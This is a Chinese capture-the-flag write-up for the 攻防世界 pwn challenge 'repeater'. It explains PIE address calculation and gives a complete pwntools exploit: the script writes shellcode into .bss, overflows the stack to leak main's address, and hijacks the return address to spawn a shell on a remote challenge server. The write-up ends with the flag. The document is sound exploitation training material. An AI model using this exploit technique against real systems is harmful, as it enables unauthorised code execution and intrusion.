【攻防世界】repeater
收获
IDA 中看到的地址是偏移地址,当开启了
PIE
地址随机化时,真实地址 = 程序的基地址 + 偏移地址可以直接向
.bss
段上写入shellcode
,再通过栈溢出去执行段上的shellcode
开启
PIE
地址随机化后,程序执行过程中打印的地址就是真实的地址
思路
查看文件信息:
64位 小端序,开启了 PIE
地址随机化
尝试运行:
存在溢出
在 IDA 下分析:
首先通过 memset()
函数将 byte_202040
的地址初始化,然后通过 sub_982()
函数将用户输入写到 byte_202040
地址处
查看 byte_202040
地址的位置:
发现 byte_202040
是存储到 .bss
段上的
由于这个题的函数列表中没有给出 system()
函数,因此在 .bss
段上写入 "/bin/sh"
再通过 system()
函数来调用执行的方法是不行了;不过可以考虑在 .bss
段上写入 shellcode
,让程序跳转到这里来执行 shellcode
但是这个题开启了 PIE
地址随机化,因此在 IDA 中看到的地址并不是程序中真实的地址,而是偏移地址
所以即使将 shellcode
写入到 0x202040
的地址上,也并不知道 shellcode
在程序中存放的真实地址,需要先确定程序的基地址,就可以通过 真实地址 = 基地址 + 偏移地址 计算出来
观察到 for 循环中会打印出 main()
函数的地址【这个是函数在程序中的真实地址】
但是打印 main()
函数的地址需要 v5 == 3281697
,而程序中定义的是 v5 = 1192227
注意到还有一个 read()
函数进行输入,将输入存储到 s
中,输入的长度为 0x40
查看 s
所在的位置:
由于 read()
输入的长度是 0x40
,而 s
在栈中的长度是 0x20
,因此是可以溢出的
接下来思路就很明确了:
- 在输入
name
的时候,由于是存储到.bss
段上的,在这里写入一个shellcode
- 然后,通过
read()
函数进行栈溢出,一直覆盖到v5
的位置,并将v5
的值修改为3281697
- 然后程序就会打印出
main()
函数的真实地址,将这个地址记录下来 - 在 IDA 中找到
main()
函数的偏移地址,用main()
函数的 真实地址 - 偏移地址 = 程序的基地址 - 在 IDA 中找到
shellcode
存放的偏移地址,用shellcode
的 偏移地址 + 程序的基地址 = 真实地址 - 再次通过
read()
函数进行栈溢出,一直覆盖到函数返回的地方,将返回值修改为shellcode
的真实地址 - 程序跳转到
shellcode
的地址去执行shellcode
,获得 shell
脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./repeater") # 程序在kali的路径
else:
io = remote("61.147.171.105", 64526) # 题目的远程端口,注意是remote
shellcode = asm(shellcraft.sh()) # 构造shellcode
io.recvuntil("Please give me your name :\n")
io.sendline(shellcode) # name存储在.bss段上,通过这里的输入向.bss段上写入shellcode
payload = b'a' * (0x30 - 0x10) + p64(3281697) # 栈溢出修改v5的值为3281697
io.recvuntil("input :")
io.sendline(payload)
io.recvuntil("But there is gift for you :\n")
main_addr = int(io.recvuntil("\n"), 16) # 保存下程序打印出的main()的真实地址
base_addr = main_addr - 0x0A33 # 利用main()的真实地址计算出程序的基地址,0x0A33是main()的偏移地址,可以在ida中查看
shellcode_addr = base_addr + 0x202040 # 利用程序的基地址和写入的shellcode在.bss段上的偏移地址,计算出shellcode存放的真实地址
# 0x202040是byte_202040在.bss段上的偏移地址,可以在ida中查看
io.recvuntil("input :")
payload = b'a' * (0x30 - 0x00 + 0x08) + p64(shellcode_addr) # 再次通过栈溢出让程序跳转到shellcode的位置去执行
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{7165ca68103868530e16b6038318afc5}